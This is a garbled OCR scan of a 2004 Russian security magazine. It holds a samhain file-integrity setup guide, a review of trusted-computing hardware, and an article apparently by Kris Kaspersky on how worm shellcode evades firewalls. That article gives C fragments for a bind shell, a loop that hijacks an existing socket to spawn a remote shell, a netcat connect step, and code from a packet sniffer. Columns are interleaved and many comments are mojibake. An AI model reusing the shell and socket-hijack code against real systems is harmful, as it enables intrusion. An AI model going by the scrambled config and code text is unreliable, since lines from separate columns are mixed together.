# SetMailRelay=relay.yourdomain.com èëè IP-àäðåñ ваем его:
# Äëÿ ïðîâåðêè ìîäèôèêàöèé ìåæäó çàïóñêîì ïðîãðàììû
# è âûõîäîì. # gpg -a --clearsign --not-dash-escaped /etc/samhainrc
# SamhainPath=/usr/local/bin/samhain
# time-ñåðâåð (ïîðò 37/tcp)
# SetTimeServer=localhost
# log-ñåðâåð После чего в текущем каталоге появится файл с пре-
# SetLogServer=localhost
фиксом .asc, т.е. samhainrc.asc. Для работы переимено-
# timestamp â ìåñòíîì âðåìåíè èëè GMT вываем его:
UseLocalTime=yes
# èíòåðâàë ìåæäó ñîîáùåíèÿìè timestamps, êîòîðûå áóäóò # mv -f /etc/samhainrc.asc /etc/samhainrc
# âñòàâëåíû â ñîîáùåíèÿ â òàêîì âèäå
# MARK : [2004-03-21T19:49:45+0200] msg=<-- TIMESTAMP -->
# 77B71CEA79D01107AE9FAA66233A059D0FDC3B33FBA74700 Проверить подпись можно в любое время командой:
# SetLoopTime=60
# ñþäà ìîæíî äîáàâèòü äîâåðåííûõ ïîëüçîâàòåëåé, íå âêëþ÷åííûõ # cat /etc/samhainrc | gpg --status-fd 1 --verify ↵
# ïðè êîìïèëÿöèè (root è ïîëüçîâàòåëü, îò èìåíè êîòîðîãî --homedir /root/.gnupg --no-tty
# âûïîëíÿåòñÿ ïðîãðàììà, âñåãäà äîâåðåííûå)
# TrustedUser=bin
# ÷åì çàíèìàåìñÿ: èíèöèàëèçàöèåé áàçû äàííûõ, îáíîâëåíèåì
# èëè ïðîâåðêîé ôàéëîâ, åñëè none (ðåæèì ïî óìîë÷àíèþ),
# òî êîìàíäà çàäàåòñÿ â ñòðîêå çàïóñêà. init|update|check|none
ChecksumTest=check
# óñòàíîâêà ãëîáàëüíîãî çíà÷åíèÿ ðåêóðñèè (ìàêñèìóì 99,
# ïî óìîë÷àíèþ - 0)
SetRecursionLevel=20
# ïðèîðèòåò ïðîöåññà ïðîâåðêè ôàéëîâ
#SetNiceLevel=-19..19
# âñå êëèåíòñêèå ñîîáùåíèÿ ïî óìîë÷àíèþ çàïèñûâàþòñÿ â îäèí
# log. Îïöèÿ ïîçâîëÿåò èñïîëüçîâàòü èíäèâèäóàëüíûå æóðíàëû
#UseSeparateLogs=yes/no Теперь, когда все готово, можно приступать к созда-
# âîçìîæíî ïåðåîïðåäåëåíèå êîíñîëè, â òîì ÷èñëå
нию базы данных:
# è èñïîëüçîâàíèå pipe-êàíàëîâ.
#SetConsole=device # /usr/local/sbin/samhain -t init
# èñïîëüçîâàíèå ñîîòâåòñòâóþùèõ àëãîðèòìîâ äëÿ âû÷èñëåíèÿ
# çíà÷åíèÿ êîíòðîëüíûõ ñóìì ôàéëîâ, âìåñòî TIGER В результате в каталоге /usr/local/var/lib/samhain/ по-
# (èñïîëüçóéòå îäèí è òîò æå òèï ñèãíàòóðû íà ñåðâåðå
# è êëèåíòàõ) явится файл samhain_file, который содержит все сигнату-
#DigestAlgo=MD5 ры на момент инициализации, с которыми и будут срав-
#DigestAlgo=SHA1
# óïðîùåííàÿ ñèãíàòóðà, ìîæåò ïîíàäîáèòüñÿ äëÿ ïîâûøåíèÿ ниваться в дальнейшем параметры. Во избежание моди-
# áûñòðîäåéñòâèÿ, ïîäðîáíåå â ðàçäåëå "Performance tuning" фикации ее также рекомендуется подписать, схема ана-
#MACType=HASH-TIGER
# íà÷èíàÿ ñ âåðñèè 1.7.0, yule ìîæåò ïîñëå çàïóñêà ïåðåõîäèòü логична предыдущей:
# â chroot (ïîäðîáíåå â äîêóìåíòàöèè)
#SetChrootDir=path
# gpg -a --clearsign --not-dash-escaped ↵
# îïöèÿ, íåîáõîäèìàÿ äëÿ âêëþ÷åíèÿ ïðîñëóøèâàíèÿ UDP-ïîðòà /var/lib/samhain/samhain_file
# log-ñåðâåðîì (ïðè êîìïèëèðîâàíèè ñ îïöèåé --enable-udp) # mv /var/lib/samhain/samhain_file.asc ↵
SetUDPActive=yes /var/lib/samhain/samhain_file
# åñëè â âàøåì âûâîäå ìíîãî ñîîáùåíèé îá èçìåíåíèè CTIME,
# ÷òî ìîæåò ïðîèñõîäèòü ïðè èñïîëüçîâàíèè íåêîòîðûõ ñèñòåì
# ðåçåðâèðîâàíèÿ, òî ìîæåò ïîìî÷ü íèæíÿÿ îïöèÿ, îòêëþ÷àþùàÿ Проверить соответствие можно командой:
# ýòó ïðîâåðêó
#RedefReadOnly=-CTM
samhain -t check
58
безопасность
после чего на регистраторы, описанные в конфигураци- После конфигурирования получаем отчет об установках.
онном файле, будет поступать информация. В случае гло-
бальных изменений обновить базу можно командой:
samhain -t update
Конфигурация сервера yule требует меньших опций, # ./samhain_setpwd samhain new 477631269C2CC74B
т.к. его задача только собирать логи. При необходимости
защиты и самого сервера на нем устанавливается и
samhain. Я не буду останавливаться подробно, так как
многие вопросы аналогичны установке и конфигурирова- Получившийся файл samhain.new переименовываем в
нию клиента samhain. samhain:
--with-data-file=REQ_FROM_SERVER/var/lib/samhain/data.samhain
Заменяем HOSTNAME на полное доменное имя кли-
Но как мне кажется, это не во всех случаях приемлемо и ента вида client.mydomain.com и заносим эту строку в
удобно, в том числе могут возникнуть и проблемы безопас- секцию Clients.
ности, кому интересно, детали, как всегда, в документации. ! Повторяем эту процедуру для каждого клиента.
60
bugtraq
МАКСИМ КОСТЫШИН
В январе 2004 года группа экспертов по компьютерной бе- кую степень различного рода рисков при использовании
зопасности SPRG (the Security Peer Review Group) опуб- персональных компьютеров и Интернета, что эксперты
ликовала отчет с итогами анализа защищенности экспе- SPRG настойчиво рекомендовали заморозить все рабо-
риментальной системы голосования SERVE (Secure ты в этом направлении и использовать альтернативную
Electronic Registration and Voting Experiment). Основная систему, в которой электронная часть системы голосова-
цель программы, в рамках которой разрабатывалась сис- ния должна была представлять собой умный принтер и не
тема SERVE, заключалась в предоставлении гражданам более, на основе киосков, расположенных в консульствах
США, находящимся за пределами страны, а также воен- и на военных базах по всему миру. Киоски, согласно тре-
ным, морякам и другим категориям граждан, которые по бованиям специалистов, не должны подключаться к Ин-
роду своей деятельности большую часть времени нахо- тернету. Весь обмен данными, обновление программно-
дятся в движении, возможности выполнения процедуры го обеспечения рекомендовано было выполнять с исполь-
заочного голосования с использованием Интернета на зованием твердых носителей, а бюллетени в бумажном
предварительных и основных выборах руководства стра- виде пересылать для окончательного подсчета в родные
ны. Результаты исследований показали настолько высо- округа.
62
безопасность
Основными невозможными для решения в настоящее overrun), которые использовались, например, в MSBlaster
время проблемами были названы: и Slammer.
! текущая организация регулирования работы Интерне- Принцип защиты основан на механизме запрета вы-
та, а также использование устаревших протоколов и полнения процессором любого программного кода, запи-
технологических решений, которые не удовлетворяют санного в буфер данных в случаях переполнения. При этом
необходимому уровню безопасности; для контроля используется дополнительный флаг NX (Non
! отсутствие мер в рамках существующей архитектуры eXecutive, запрещено исполнение кода из страницы). С по-
персональных компьютеров, позволяющих обеспечить мощью указанного флага помечаются границы стека про-
гарантированную защиту конфиденциальных данных граммы. Если переполнение буфера происходит, и дан-
своих владельцев и самих PC от различного рода атак. ные затирают информацию стека, процессор отслежива-
ет эту ситуацию и выдает ошибку доступа памяти. Таким
Интернет-голосование является одним из компонентов образом, в случаях, если в памяти компьютера появляет-
электронного правительства, а проблемы, которые в оче- ся зловредный код, который эксплуатирует ошибку раз-
редной раз осветили специалисты SPRG, весьма актуаль- работчиков приложения с использованием переполнения
ны для любой составляющей. Поэтому устранение основ- буфера, то атакующий код не будет активизирован, а при
ных препятствий может существенно продвинуть обще- выключении ПК – просто уничтожится.
ство в развитии технологий электронного правительства Для решения текущих вопросов безопасности техно-
и электронной коммерции, повысить уровень доверия ря- логия Execution Protection является наиболее востребован-
довых пользователей к услугам, предоставляемым с ис- ной рядовыми пользователями компьютеров. По оценкам
пользованием Интернета. специалистов более 50% уязвимостей Microsoft Windows
Если остановиться на первой проблеме, то в после- могли бы быть локализованы с помощью применения по-
днее время в прессе появилось много информации о воз- добных решений. Однако еще раз напомним о том, что
росшем интересе к проблемам регулирования Интернета технология хотя уже и реализована в процессорах Athlon
не только со стороны государств, но и со стороны таких 64, Opteron, однако реально заработает только на плат-
серьезных международных организаций, как ООН и Ев- форме Windows XP после выпуска Microsoft пакета обнов-
росоюз. Это уже не просто расширение слежки за интер- ления SP2. И все же Execution Protection не является пол-
нет-трафиком со стороны спецслужб различных госу- ным решением проблемы buffer overflow. Применение тех-
дарств, а создание отдельных государственных органи- нологии просто не позволяет злоумышленникам эксплуа-
заций, целью которых является разработка рекомендаций тировать ошибки переполнения буфера с возможностью
по законному использованию Интернета, выработка ме- проведения атак. Без установки обновлений продуктов
тодик расследования правонарушений, защита интересов атаки на такого рода уязвимости будут приводить к ава-
большого количества участников интернет-рынка. Обще- рийному завершению приложения, вызвавшего ошибку.
ственное мнение уже формируется в сторону необходи- Компания Intel предусматривала ввести аналогичную
мости принятия принципиально новых решений для вне- схему в Prescott. Однако среди характеристик процессо-
сения изменений в регулирование работы глобальной сети ра, заявленных производителем, данные о поддержке под-
Интернет. робной технологии отсутствуют.
Решение второй проблемы в практическом плане про- Для получения дополнительной информации о техно-
двинулось намного дальше. Для повышения уровня безо- логии Execution Protection желающие могут обратиться к
пасности персональных компьютеров уже имеются конк- статье С.Озерова и А.Карабуто [5].
ретные как теоретические разработки, так и аппаратно-
программные решения различных сообществ и фирм-про- Технология EMBASSY от Wave
изводителей. В данной статье приводится перечень и крат- Открытый стандарт EMBedded Application Security SYstem
кое описание реализаций уже появившихся на мировом (EMBASSY), был разработан компанией Wave (http://
рынке и тех, которые будут представлены в ближайшее www.wave.com/technology/embassy.html). Он представля-
время. ет собой использование специального вспомогательного
чипа EMBASSY, содержащего собственный микропроцес-
Решение Execution Protection сор, модуль шифрования, таймер и защищенную память.
компании AMD Особенности включения чипа в архитектуру компьютера
Технология Execution Protection была разработана ком- позволяют ему полностью контролировать работу PC. При
панией AMD (http://www.amd.com/). Ее элементами яв- этом имеет место сосуществование двух сред – обычной
ляются процессор AMD64 и Windows XP Service Pack 2, операционной системы, запускающей и обеспечивающей
выход которого планируется в середине 2004 года. работу пользовательских приложений, и изолированной
Execution Protection была создана для того, чтобы про- и защищенной, обладающей, кроме всего прочего, воз-
тиводействовать атакам определенных видов вирусов. можностями безопасного хранения критичных данных
Расширенная технология защиты от вирусов AMD в (криптографических ключей, цифровых сертификатов,
сочетании с Data Execution Prevention компании Microsoft, личных данных и т. п.).
включенной в состав Windows XP SP2, решают задачи Чип EMBASSY был применен при разработке аппарат-
защиты от атак, эксплуатирующих достаточно распрост- ного криптопровайдера EMBASSY CSP (Cryptographic Service
раненный тип ошибок – выход за границы буфера (buffer Provider) для Windows (со стандартным интерфейсом
LaGrande от Intel
Решение LaGrande (LaGrande Technology – LT) было впер-
вые представлено Intel в 2002 году на традиционном фо-
руме Intel Developer Forum (IDF). Технология получила свое
название в честь американского городка, расположенно-
го в штате Орегон. В основе LaGrande лежит механизм
помещения каждого из выполняющихся на компьютере
процессов в свою изолированную оболочку. Тем самым
разработчики попытались максимально снизить различ-
ного рода риски, связанные с несанкционированным дос-
тупом к данным и программному коду. Аппаратная часть
решения опирается на использование специального чипа,
который носит общее название Trusted Platform Module
(TPM) и выполнен в рамках открытой спецификации
Trusted Computing Group – TCG (с осени 1999 года до вес-
ны 2003 года работу в этой области вела организация под
названием Trusted Computing Platform Alliance – TCPA)
версии 1.2. Технология подразумевает криптографичес-
кую защиту обмена данными IDE, USB и PS/2 интерфей-
сов между всеми компонентами, обеспечивающими вза-
имодействие оператора с компьютером (клавиатура,
мышь, видеоплата). Компьютеры, которые защищены
LaGrande, должны содержать, кроме нового элемента
64
безопасность
TPM, привычные компоненты, в то же время отличающи- при внедрении конкретных решений в технологию свои
еся от тех, которые мы используем в настоящее время дополнения, которые расширят функциональность и сни-
(речь идет в том числе о материнской плате, процессоре, зят безопасность системы. В связи с тем, что технология
BIOS). еще «не обкатана», есть вероятность того, что некоторые
Поддержка LaGrande официально заявлена Intel в ха- не учтенные в спецификации моменты могут случайно или
рактеристиках недавно представленного на рынке процес- под влиянием нюансов закулисной конкурентной борьбы
сора Prescott. Кроме того, в процессоре реализованы воз- привести к небольшим отличиям в реализациях различ-
можности еще одной технологии Intel – Vanderpool, обес- ных производителей hardware или software (на уровне опе-
печивающей аппаратную поддержку независимой парал- рационной системы), что повлечет за собой отсутствие
лельной работы нескольких операционных систем. При переносимости решений разработчиков программного
этом возможна независимая перезагрузка любой из них. обеспечения прикладного уровня.
Помимо аппаратных новшеств технология LaGrande По мнению некоторых специалистов, технология при-
для своего использования требует программной поддер- несет больше пользы для Windows-систем, и в меньшей
жки на уровне операционной системы, а также пользова- степени необходима для UNIX-подобных систем, что свя-
тельских приложений. Microsoft планирует реализовать зано с принципиальными различиями в архитектурах
возможности защиты LaGrande, встроив NGSCB (Next- этих ОС.
Generation Secure Computing Base, в недавнем прошлом – Широкое применение технологий TCG, кроме вопро-
Palladium) в свою очередную операционную систему сов обеспечения повышенных мер безопасности, предос-
Longhorn. Данных о реализации поддержки технологии в тавляет разработчикам дополнительные возможности для
UNIX-системах пока нет. Так что желающим увидеть применения новых подходов к решению задачи защиты
LaGrande в действии придется еще некоторое время по- авторских прав. При этом проблемы использования и рас-
дождать. пространения контрафактного программного обеспече-
ния, а также аудио- и видеопродукции в цифровом фор-
Подводя итог мате, особенно для стран бывшего СССР, могут встать
Представленные в обзоре технологии представляют со- весьма остро.
бой решения, построенные на открытой спецификации
Trusted Computing Group – TCG с использованием допол- Ссылки:
нительного модуля, реализующего (в большей или мень- 1. A Security Analysis of the Secure Electronic Registration
шей степени) функциональность Trusted Platform Module – and Voting Experiment (SERVE). January 20, 2004.
TPM (исключение – технология Execution Protection). http://www.servesecurityreport.org;
Особенностью спецификации TCG является приме- 2. Хранитель печатей. Р.Матвеенко.
нение технических подходов, позволяющих решить воп- http://www.comprice.ru/safe/2003-23.phtml;
росы изолированного выполнения программ на персо- 3. VIA расширяет инициативу безопасности PadLock с вы-
нальном компьютере и защиты ядра функционирующей пуском пакета VIA PadLock Security Suite. Пресс-релиз.
системы, определить защищенное хранилище конфиден- http://www.via-c3.ru/press/pr190304_2.shtml;
циальных данных, а также обеспечить повышенную про- 4. Технологии компьютерной безопасности. Часть 1. Intel
изводительность для основных криптографических опе- LaGrande Technology — архитектура компьютерной бе-
раций (генерация случайных чисел, создание надежных зопасности. С.Озеров.
ключей, шифрование, выработка и проверка электрон- http://www.terralab.ru/system/32571;
ной цифровой подписи, выполнение операций хэширо- 5. Технологии компьютерной безопасности. Часть 2. AMD
вания). Execution Protection – маленькая революция. С.Озеров,
Несложно прогнозировать, что интерес разработчиков А.Карабуто.
средств защиты от несанкционированного доступа, а так- http://www.terralab.ru/system/32706/;
же различного рода программных решений в области ком- 6. Защита подождет? В. Соболев. Журнал «Мир ПК»,
пьютерной безопасности, будет смещаться к использова- №02, 2004 год.
нию возможностей, предлагаемых в рамках открытой спе- http://www.osp.ru/pcworld/2004/02/028.htm;
цификации. Наличие в составе группы TCG известных 7. Концепция LaGrande: аппаратная защита одних про-
производителей компьютеров и комплектующих к ним, а грамм от других. А.Медведев.
также программного обеспечения, позволяет обоснован- http://www.ixbt.com/editorial/lagrande.html;
но предсказывать хорошее будущее решениям на основе 8. LaGrande – технология защиты от внешних посяга-
модуля TPM. Нет сомнения, что коммерческие продукты, тельств. В.Володин.
в которых реализованы TCG-подходы, найдут свое при- http://tech.stolica.ru/article.php?id=2003101201;
менение и в государственных системах, критичных к воп- 9. TCG PC Specific Implementation Specification Version 1.1.
росам безопасности, в виде COTS (Commercial-off-the- August 18, 2003.
Shelf) компонент. https://www.trustedcomputinggroup.org/downloads/
В то же время автору неизвестно о проведении неза- TCG_PCSpecificSpecification_v1_1.pdf;
висимого анализа самой технологии и сделанных на ос- 10. Trusted Computing Group. Backgrounder. May 2003.
нове детального изучения выводах. Кроме того, нельзя https://www.trustedcomputinggroup.org/downloads/
гарантировать, что каждый из разработчиков не внесет TCG_Backgrounder.pdf.
Из фольклора программистов
КРИС КАСПЕРСКИ
66
безопасность
Проникнув на уязвимый компьютер, голова червя должна раничить своих пользователей в правах, чем нести мо-
установить TCP/IP- (или UDP-) соединение с исходным уз- ральную ответственность за поддержание жизнедеятель-
лом и подтянуть свое основное тело (также называемое ности всякой заразы. Однако в отношении червей, рас-
«хвостом»). Аналогичной методики придерживаются и ха- пространяющихся через стандартные порты популярных
керы, засылающие на атакуемый компьютер диверсион- сетевых служб, этот прием не срабатывает, и брандмау-
ный эксплоит, срывающий стек и устанавливающий уда- эр беспрепятственно пропускает голову червя внутрь кор-
ленный терминальный shell, взаимодействующий с узлом поративной сети.
атакующего посредством того же самого TCP/IP, и в этом
контексте между червями и хакерами нет никакой прин-
ципиальной разницы (нередко установка backdoor с по-
мощью червей и осуществляется).
Однако на пути червя может оказаться недружелюб-
но настроенный брандмауэр, которые сейчас в моде и
без него не обходится практически ни одна уважающая
себя корпоративная сеть. Да что там сеть – брандмауэр
и на домашних компьютерах уже не редкость. Между тем,
слухи о могуществе брандмауэров очень сильно преуве- Ðèñóíîê 1. Ðàñïðåäåëåíèå èíòåíñèâíîñòè àòàê íà ðàçëè÷íûå
личены и в борьбы с червями они до ужаса неэффектив- ïîðòû ïî ðåãèîíàì
ны. Хотите узнать почему? Тогда читайте эту статью до Но забросить shell-код на вражескую территорию – это
конца! только половина дела. Как минимум еще требуется про-
тащить через все межсетевые заслоны основное тело
Что может и что не может брандмауэр червя (то есть хвост), а как максимум – установить тер-
Брандмауэр может наглухо закрыть любой порт, выбороч- минальный backdoor shell, предоставляющий атакующе-
но или полностью блокируя как входящие, так и исходя- му возможность удаленного управления захваченной си-
щие соединения, однако этот порт не может быть портом стемой.
действительно нужной публичной службы, от которой Может ли брандмауэр этому противостоять? Если он
нельзя отказаться. Так, например, если фирма имеет соб- находится на одном узле с атакуемым сервером и shell-
ственный почтовый сервер, в обязательном порядке дол- код исполняется с наивысшими привилегиями, то атаку-
жен быть отрыт 25-й SMTP-порт (а иначе как прикажете ющий может делать с брандмауэром все, что ему только
письма получать?). Соответственно наличие веб-сервера заблагорассудится, в том числе и изменять его конфигу-
предполагает возможность подключения к 80-му порту из рацию на более демократическую. Этот случай настолько
«внешнего мира». прост, что его даже неинтересно рассматривать. Давайте
Допустим, что одна или несколько таких служб содер- лучше исходить из того, что брандмауэр и атакуемый сер-
жат уязвимости, допускающие возможность переполне- вис расположены на различных узлах, причем сам бранд-
ния буфера со всеми вытекающими отсюда последствия- мауэр правильно сконфигурирован и лишен каких бы то
ми (захват управления, несанкционированная авториза- ни было уязвимостей.
ция и т. д.). Тогда никакой, даже самый продвинутый бран- Самое простое (и самое естественное) – поручить
дмауэр не сможет предотвратить вторжение, поскольку shell-коду открыть на атакованном узле новый, заведо-
пакеты с диверсионным shell-кодом на сетевом уровне нео- мо никем не использованный порт (например, порт 666)
тличимы от пакетов с легальными данными. Исключение и терпеливо ждать подключений с удаленного узла, осу-
составляет поиск и отсечение головы вполне конкретного ществляющего засылку основного вирусного кода.
червя, сигнатура которого хорошо известна брандмауэ- Правда, если администратор системы не новичок,
ру. Однако наложение заплатки на уязвимый сервис бу- все входящие соединения на все непубличные порты
дет намного более эффективным средством борьбы (слу- будут безжалостно отсекаться брандмауэром. Однако
чай, когда червь опережает заплатку, мы не рассматри- атакующий может схитрить и перенести серверную
ваем, поскольку такие существуют только теоретически). часть червя на удаленный узел, ожидающий подключе-
Кстати говоря, брандмауэр и сам по себе представляет ний со стороны shell-кода. Исходящие соединения бло-
довольно соблазнительный объект для атаки (некоторые кируются далеко не на всех брандмауэрах, хотя в прин-
из брандмауэров имели переполняющиеся буфера, допус- ципе такая возможность у администратора есть. Но гра-
кающие захват управления). мотно спроектированный червь не может позволить
Но как бы там ни было, срыву буфера уязвимой служ- себе закладываться на разгильдяйство и попуститель-
бы брандмауэр никак не препятствует. Единственное, что ство администраторов. Вместо установки нового TCP/
он может сделать – это свести количество потенциаль- IP-соединения он должен уметь пользоваться уже су-
ных дыр к разумному минимуму, закрыв порты всех ществующим – тем, через которое и была осуществле-
служб, не требующих доступа извне. В частности, червь на засылка головы червя. В этом случае брандмауэр
Love San, распространяющийся через редко используе- будет бессилен что-либо сделать, т.к. с его точки зре-
мый 135-порт, давно и небезуспешно отсекается бранд- ния все будет выглядеть вполне нормально. Откуда же
мауэрами, стоящими на магистральных интернет-кана- ему, бедолаге, знать, что вполне безобидное с виду и
лах, владельцы которых посчитали, что лучше слегка ог- легальным образом установленное TCP/IP-соединение
68
безопасность
// øàã 4: îáðàáàòûâàåì âõîäÿùèå ïîäêëþ÷åíèÿ ствие портов и узлов локальной сети. Допустим, почто-
csocket = accept(lsocket, (struct sockaddr *) ↵ вый сервер, сервер новостей и веб-сервер расположены
&caddr, &caddr_size));
… на различных узлах (а чаще всего так и бывает). Тогда
sshell(csocket[0], MAX_BUF_SIZE); // óäàëåííûé shell на брандмауэре должны быть открыты 25-й, 80-й и 119-й
…
// øàã 5: ïîä÷èùàåì çà ñîáîé ñëåäû порты. Предположим, что на веб-сервере обнаружилась
closesocket(lsocket); уязвимость и атакующий его shell-код открыл для своих
Полный исходный текст данного примера содержится нужд 25-й порт. Небрежно настроенный брандмауэр про-
в файле bind.c, прилагаемого к статье. Наскоро откомпи- пустит все TCP/IP-пакеты, направленные на 25-й порт,
лировав его (или взяв уже откомпилированный bind.exe), независимо от того, какому именно локальному узлу они
запустим его на узле, условно называемом «узлом-жерт- адресованы.
вой», или «атакуемым узлом». Эта стадия будет соответ- Проверьте, правильно ли сконфигурирован ваш бран-
ствовать засылке shell-кода, переполняющего буфер и дмауэр, и внесите соответствующие изменения в его на-
перехватывающего управление (преобразованием ис- стройки, если это вдруг окажется не так.
ходного текста в двоичный код головы червя воинственно
настроенным читателям придется заниматься самостоя- reverse exploit, или если гора не идет
тельно, а здесь вам не тот косинус, значения которого к Магомету…
могут достигать четырех). Хакеры средней руки, потирая покрасневшие после пос-
Теперь, переместившись на атакующий узел, набери- ледней трепки уши, применяют диаметрально противопо-
те в командной строке: ложный прием, меняя серверный и клиентский код червя
местами. Теперь уже не хвост червя стучится к его голо-
netcat "àäðåñ àòàêóåìîãî" 666 ве, а голова к хвосту. Большинство брандмауэров доволь-
но лояльно относятся к исходящим соединениям, беспре-
или, если у вас нет утилиты netcat: пятственно пропуская их через свои стены, и шансы ата-
кующего на успех существенно повышаются.
telnet "àäðåñ àòàêóåìîãî" 666
70
безопасность
Программная реализация головы червя в несколько мет, ну а кто не программировал, просто не в состоянии
упрощенном виде может выглядеть, например, так: представить, чего он избежал).
Если говорить коротко: делать bind на уже открытый
Ëèñòèíã 3. Êëþ÷åâîé ôðàãìåíò shell-êîäà, îñóùåñòâëÿþùèé порт может только владелец этого порта (т.е. процесс,
ïîèñê ñîêåòà "ñâîåãî" ñîåäèíåíèÿ
открывший данный порт, или один из его потомков, унас-
// øàã 1: ïåðåáèðàåì âñå äåñêðèïòîðû ñîêåòîâ îäèí çà äðóãèì ледовавших дескриптор соответствующего сокета), да и
for (a = 0; a < MAX_SOCKET; a++)
{ то лишь при том условии, что сокет не имеет флага экск-
*buff = 0; // î÷èùàåì èìÿ ñîêåòà люзивности (SO_EXCLUSIVEADDRUSE). Тогда, создав
// øàã 2: ïîëó÷àåì àäðåñ, ñâÿçàííûé ñ äàííûì äåñêðèïòîðîì новый сокет и вызвав функцию setsockopt, присваиваю-
// (êîíå÷íî, ïðè óñëîâèè, ÷òî ñ íèì âîîáùå ÷òî-òî ñâÿçíî) щую ему атрибут SO_REUSEADDR, shell-код сможет сде-
if (getpeername((SOCKET) a, (struct sockaddr*) &faddr, ↵
(int *) buff) != -1) лать bind и listen, после чего все последующие подключе-
{ ния к атакованному серверу будут обрабатываться уже не
// øàã 3: èäåíòèôèöèðóåì ñâîå TCP/IP-ñîåäèíåíèå
// ïî ñâîåìó ïîðòó самим сервером, а зловредным shell-кодом!
if (htons(faddr.sin_port) == HACKERS_PORT)
sshell((SOCKET) a, MAX_BUF_SIZE);
}
}
72
безопасность
Под BSD можно открыть устройство «/dev/bpf» и после #define CHUNKSIZE 32000 */
#endif
его перевода в неразборчивый режим:
#ifdef IRIX /*-----------< IRIX >--------------*/
ioctl(fd, BIOCPROMISC, 0) #define NIT_DEV ""
#define DEFAULT_NIC ""
#define CHUNKSIZE 60000 */
#define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ↵
слушать пролетающий мимо узла трафик. В Solaris все ether_header))
осуществляется аналогично, только IOCTL-коды немного #endif
#ifdef SOLARIS /*--------< Solaris >-----------*/
другие, и устройство называется не bpf, а hme. Аналогич- #define NIT_DEV "/dev/hme" */
ным образом ведет себя и SUN OS, где для достижения #define DEFAULT_NIC ""
#define CHUNKSIZE 32768 */
желаемого результата приходится отрывать устройство nit. #endif
Короче говоря, эта тема выжата досуха и никому уже
#define S_DEBUG */
не интересна. Замечательное руководство по программи- #define SIZE_OF_ETHHDR 14 */
рованию снифферов (правда, на французском языке) мож- #define LOGFILE "./snif.log" */
#define TMPLOG_DIR "/tmp/" */
но найти на http://www.security-labs.org/index.php3?page=135,
а на http://packetstormsecurity.org/sniffers/ выложено множе- struct conn_list{
struct conn_list *next_p;
ство разнообразных «грабителей» трафика в исходных тек- char sourceIP[16],destIP[16];
стах. Наконец, по адресам http://athena.vvsu.ru/infonets/Docs/ unsigned long sourcePort,destPort;
};
sniffer.txt и http://cvalka.net/read.php?file=32&dir=programming
вас ждет пара толковых статей о снифферах на русском struct conn_list *cl; struct conn_list *org_cl;
языке. Словом, на недостаток информации жаловаться не #ifdef SOLARIS
приходится. Правда, остается неявным – как примерить int strgetmsg(fd, ctlp, flagsp, caller)
int fd;
весь этот зоопарк и удержать в голове специфические struct strbuf *ctlp;
особенности каждой из операционных систем? int *flagsp;
char *caller;
Подавляющее большинство статей, с которыми мне {
приходилось встречаться, описывали лишь одну, ну мак- int rc;
static char errmsg[80];
симум две операционные системы, совершенно игнори-
руя существование остальных. Приходилось открывать не- *flagsp = 0;
if ((rc=getmsg(fd,ctlp,NULL,flagsp))<0) return(-2);
сколько статей, одновременно и попеременно мотаться if (alarm(0)<0) return(-3);
между ними на предмет выяснения: а под Linux это как? А if ((rc&(MORECTL|MOREDATA))==(MORECTL|MOREDATA)) ↵
return(-4);
под BSD? А под Solaris? От этого в голове образовывался if (rc&MORECTL) return(-5);
такой кавардак, что от прочитанного материала не оста- if (rc&MOREDATA) return(-6);
if (ctlp->len<sizeof(long)) return(-7);
валось и следа, а компилируемый код содержал огром- return(0);
ное количество фатальных ошибок, даже и не пытаясь }
#endif
компилироваться.
Чтобы не мучить читателя сводными таблицами (от int setnic_promisc(nit_dev,nic_name)
char *nit_dev;
которых больше вреда, чем пользы), ниже приводится char *nic_name;
вполне работоспособная функция абстракции, подготав- {
int sock; struct ifreq f;
ливающая сокет (дескриптор устройства) к работе и под-
держивающая большое количество различных операци- #ifdef SUNOS4
struct strioctl si; struct timeval timeout;
онных систем, как то: SUN OS, Lunux, FreeBSD, IRIX и u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC;
Solaris. Полный исходный текст сниффера можно стащить
if ((sock = open(nit_dev, O_RDONLY)) < 0) return(-1);
отсюда: http://packetstormsecurity.org/sniffers/gdd13.c. if (ioctl(sock, I_SRDOPT, (char *)RMSGD) < 0) return(-2);
si.ic_timout = INFTIM;
Ëèñòèíã 5. Ñîçäàíèå ñûðîãî ñîêåòà (äåñêðèïòîðà) è ïåðåâîä if (ioctl(sock, I_PUSH, "nbuf") < 0) return(-3);
åãî â íåðàçáîð÷èâûé ðåæèì
timeout.tv_sec = 1; timeout.tv_usec = 0; ↵
/*======================================================== si.ic_cmd = NIOCSTIME;
Ethernet Packet Sniffer 'GreedyDog' Version 1.30 si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout;
The Shadow Penguin Security if (ioctl(sock, I_STR, (char *)&si) < 0) return(-4);
(http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net) si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
#ifdef SUNOS4 /*--------< SUN OS4 >-----------*/ if (ioctl(sock, I_STR, (char *)&si) < 0) return(-5);
#define NIT_DEV "/dev/nit" */
#define DEFAULT_NIC "le0" */ strncpy(f.ifr_name, nic_name, sizeof(f.ifr_name));
#define CHUNKSIZE 4096 */ f.ifr_name[sizeof(f.ifr_name) - 1] = '\0'; ↵
#endif si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(f); si.ic_dp = (char *)&f;
#ifdef LINUX /*--------< LINUX >-------------*/ if (ioctl(sock, I_STR, (char *)&si) < 0) return(-6);
#define NIT_DEV ""
#define DEFAULT_NIC "eth0" */ si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags);
#define CHUNKSIZE 32000 */ si.ic_dp = (char *)&if_flags;
#endif if (ioctl(sock, I_STR, (char *)&si) < 0) return(-7);
if (ioctl(sock, I_FLUSH, (char *)FLUSHR) < 0) return(-8);
#ifdef FREEBSD /*--------< FreeBSD >-----------*/ #endif
#define NIT_DEV "/dev/bpf" */
#define DEFAULT_NIC "ed0" */ #ifdef LINUX
74
безопасность
if (bind(raw_socket, (struct sockaddr*) ↵ В простейшем случае shell реализуется приблизитель-
&addr, sizeof(addr))==SOCKET_ERROR) return -1; но так:
#define SIO_RCVALL 0x98000001
Ëèñòèíã 7. Êëþ÷åâîé ôðàãìåíò ïðîñòåéøåãî óäàëåííîãî shell
// cîîáùàåì ñèñòåìå, ÷òî ìû õîòèì ïîëó÷àòü âñå ïàêåòû,
